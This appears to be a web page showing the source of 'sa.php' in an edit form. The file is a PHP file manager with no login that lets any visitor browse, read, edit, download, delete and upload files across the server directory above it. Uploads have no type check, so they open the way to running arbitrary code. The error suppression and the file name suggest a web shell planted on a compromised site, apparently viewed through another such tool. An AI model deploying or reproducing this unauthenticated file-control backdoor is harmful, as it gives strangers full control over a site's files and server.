Edit: sa.php
<?php // file_manager_simple.php - File Manager without JavaScript session_start(); error_reporting(0); // ==================== CONFIGURATION ==================== $base_dir = realpath(__DIR__); $root_anchor = dirname($base_dir); // ==================== HELPER FUNCTIONS ==================== function sanitize_path($path){ $path = str_replace('..', '', $path); $path = preg_replace('/[^a-zA-Z0-9\.\_\-\/]/', '', $path); return trim($path, '/'); } function safe_realpath_within($path, $allowed_root){ $rp = realpath($path); if($rp === false) return false; $root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR; if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) { return $rp; } return false; } function get_file_list($dir){ $files = []; if(is_dir($dir)){ $items = scandir($dir); foreach($items as $item){ if($item === '.' || $item === '..') continue; $full_path = $dir . DIRECTORY_SEPARATOR . $item; $files[] = [ 'name' => $item, 'path' => $full_path, 'size' => is_file($full_path) ? filesize($full_path) : 0, 'type' => is_dir($full_path) ? 'directory' : 'file', 'modified' => date('Y-m-d H:i:s', filemtime($full_path)) ]; } } return $files; } function format_size($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } // ==================== REQUESTED DIRECTORY HANDLING ==================== $requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir); $current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : ''); $current_dir = safe_realpath_within($current_dir_candidate, $root_anchor); if($current_dir === false){ $requested_dir = basename($base_dir); $current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor); if($current_dir === false){ $requested_dir = ''; $current_dir = safe_realpath_within($root_anchor, $root_anchor); } } // ==================== PARENT DIRECTORY CALCULATION ==================== if($requested_dir !== ''){ $parent_dir = dirname($requested_dir); if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = ''; } else { $parent_dir = ''; } // ==================== BREADCRUMB NAVIGATION ==================== $dir_parts = []; if($requested_dir !== ''){ $parts = explode('/', $requested_dir); $current_path = ''; foreach($parts as $part){ $current_path .= ($current_path ? '/' : '') . $part; $dir_parts[] = [ 'name' => $part, 'path' => $current_path ]; } } // ==================== ACTION HANDLING ==================== $action = $_GET['action'] ?? 'list'; $message = ''; switch($action){ case 'view': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ header('Content-Type: text/plain'); readfile($file_path); exit; } break; case 'edit': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if($_SERVER['REQUEST_METHOD'] === 'POST'){ $content = $_POST['content'] ?? ''; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ if(file_put_contents($file_path, $content) !== false){ $message = "File '{$file}' updated successfully!"; } else { $message = "Error updating file '{$file}'!"; } } // Don't redirect - stay on edit page with message } else { if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ $content = htmlspecialchars(file_get_contents($file_path)); echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Edit: ".htmlspecialchars($file)."</title></head><body>"; echo "<h2>Edit: ".htmlspecialchars($file)."</h2>"; if($message) echo "<p style='color:green;'>$message</p>"; echo "<form method='post'>"; echo "<textarea name='content' style='width:100%;height:400px;font-family:monospace;'>$content</textarea><br><br>"; echo "<button type='submit'>Save</button> "; echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>"; echo "</form></body></html>"; exit; } } break; case 'delete': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; // Check if this is a confirmation request $confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes'; if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){ if(is_dir($file_path)){ $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($it as $f){ $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath()); } rmdir($file_path); $message = "Folder '{$file}' deleted successfully!"; } else { if(unlink($file_path)){ $message = "File '{$file}' deleted successfully!"; } else { $message = "Error deleting file '{$file}'!"; } } header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message)); exit; } else { // Show confirmation page if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){ echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Confirm Delete</title></head><body>"; echo "<h2>Confirm Delete</h2>"; echo "<p>Are you sure you want to delete '".htmlspecialchars($file)."'?</p>"; echo "<p><strong>Type: </strong>" . (is_dir($file_path) ? "Folder" : "File") . "</p>"; echo "<p><strong>Path: </strong>" . htmlspecialchars($file_path) . "</p>"; echo "<br>"; echo "<a href='?action=delete&file=".urlencode($file)."&dir=".urlencode($requested_dir)."&confirm=yes' style='color:red;font-weight:bold;'>YES, DELETE</a> | "; echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>"; echo "</body></html>"; exit; } } break; case 'upload': if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){ $uploaded = $_FILES['file']; if($uploaded['error'] === UPLOAD_ERR_OK){ $name = basename($uploaded['name']); $dest = $current_dir . DIRECTORY_SEPARATOR . $name; if(safe_realpath_within(dirname($dest), $root_anchor)){ if(move_uploaded_file($uploaded['tmp_name'], $dest)){ @chmod($dest, 0644); $message = "File '{$name}' uploaded successfully!"; } else { $message = "Error uploading file '{$name}'!"; } } else { $message = "Invalid upload path!"; } } else { $message = "Upload error: " . $uploaded['error']; } } // Stay on same page with message break; case 'download': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file_path).'"'); header('Content-Length: '.filesize($file_path)); readfile($file_path); exit; } break; case 'create_folder': if($_SERVER['REQUEST_METHOD'] === 'POST'){ $folder = sanitize_path($_POST['folder_name'] ?? ''); if($folder){ $fp = $current_dir . DIRECTORY_SEPARATOR . $folder; if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){ if(mkdir($fp, 0755, true)){ $message = "Folder '{$folder}' created successfully!"; } else { $message = "Error creating folder '{$folder}'!"; } } else { $message = "Folder already exists or invalid path!"; } } else { $message = "Please enter a folder name!"; } } // Stay on same page with message break; } // Get message from URL if redirected if(isset($_GET['message'])){ $message = $_GET['message']; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: Arial, sans-serif; background: #f2f4f8; padding: 20px; } .container { background: #fff; padding: 20px; border-radius: 10px; box-shadow: 0 0 10px rgba(0,0,0,.08); } h1 { margin-bottom: 12px; } .table { width: 100%; border-collapse: collapse; } th, td { padding: 10px; border-bottom: 1px solid #eee; } th { background: #007bff; color: #fff; text-align: left; } .trhover:hover { background: #fafbfc; } .btn { display: inline-block; padding: 6px 10px; background: #007bff; color: #fff; border-radius: 6px; text-decoration: none; margin-right: 6px; border: none; cursor: pointer; font-size: 14px; } .btn:hover { background: #0056b3; } .btn-danger { background: #dc3545; } .btn-danger:hover { background: #c82333; } .btn-success { background: #28a745; } .btn-success:hover { background: #218838; } .pathbar { background: #eef2f5; padding: 10px; border-radius: 8px; margin-bottom: 15px; } .toolbar { margin-bottom: 12px; padding: 10px; background: #f8f9fa; border-radius: 8px; } .small { font-size: 0.9em; color: #666; } .message { padding: 10px; margin: 10px 0; border-radius: 5px; font-weight: bold; } .message.success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; } .message.error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; } input[type="text"], input[type="file"] { padding: 8px; border: 1px solid #ddd; border-radius: 4px; margin-right: 5px; } .breadcrumb { margin: 10px 0; font-size: 14px; } .breadcrumb a { color: #007bff; text-decoration: none; } .breadcrumb a:hover { text-decoration: underline; } </style> </head> <body> <div class="container"> <h1>File Manager - <?= htmlspecialchars($current_dir) ?></h1> <?php if($message): ?> <div class="message <?= strpos($message, 'Error') === false ? 'success' : 'error' ?>"> <?= htmlspecialchars($message) ?> </div> <?php endif; ?> <div class="pathbar"> <!-- Navigation buttons --> <a class="btn" href="?action=list&dir=<?= urlencode($parent_dir) ?>">← Back</a> <a class="btn" href="?action=list&dir=<?= urlencode(basename($base_dir)) ?>">🏠 Project</a> <a class="btn" href="?action=list&dir=">📁 Root</a> <span class="small"> Current: <?php if($requested_dir === ''): ?> / (<?= htmlspecialchars($root_anchor) ?>) <?php else: ?> /<?= htmlspecialchars($requested_dir) ?> <?php endif; ?> </span> <!-- Breadcrumb navigation --> <div class="breadcrumb"> <a href="?action=list&dir=">Root</a> <?php foreach($dir_parts as $p): ?> › <a href="?action=list&dir=<?= urlencode($p['path']) ?>"><?= htmlspecialchars($p['name']) ?></a> <?php endforeach; ?> </div> </div> <div class="toolbar"> <form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;"> <input type="file" name="file" required> <button class="btn btn-success" type="submit">📤 Upload</button> </form> <form method="post" action="?action=create_folder&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;margin-left:8px;"> <input type="text" name="folder_name" placeholder="New Folder Name" required> <button class="btn btn-success" type="submit">📁 Create Folder</button> </form> </div> <?php $files = get_file_list($current_dir); if(empty($files)): ?> <p><i>No files or folders found in this directory.</i></p> <?php else: ?> <table class="table"> <thead> <tr> <th>Name</th> <th>Type</th> <th>Size</th> <th>Modified</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach($files as $f): ?> <tr class="trhover"> <td> <?php if($f['type'] === 'directory'): ?> 📁 <strong><?= htmlspecialchars($f['name']) ?></strong> <?php else: ?> 📄 <?= htmlspecialchars($f['name']) ?> <?php endif; ?> </td> <td><?= $f['type'] ?></td> <td><?= $f['type'] === 'directory' ? '-' : format_size($f['size']) ?></td> <td><?= $f['modified'] ?></td> <td> <?php if($f['type'] === 'directory'): $next_rel = ($requested_dir !== '' ? $requested_dir . '/' : '') . $f['name']; ?> <a class="btn" href="?action=list&dir=<?= urlencode($next_rel) ?>">Open</a> <?php else: ?> <a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Edit</a> <a class="btn" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Download</a> <?php endif; ?> <a class="btn btn-danger" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Delete</a> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> <div style="margin-top: 20px; padding: 10px; background: #f8f9fa; border-radius: 5px;"> <small> <strong>Security Info:</strong> You can only access files within: <?= htmlspecialchars($root_anchor) ?> </small> </div> </div> <script> // Simple confirmation for delete links document.addEventListener('DOMContentLoaded', function() { var deleteLinks = document.querySelectorAll('a[href*="action=delete"]'); deleteLinks.forEach(function(link) { link.addEventListener('click', function(e) { // Let the server handle confirmation - don't prevent default // The server will show a confirmation page }); }); }); </script> </body> </html>
Save
Cancel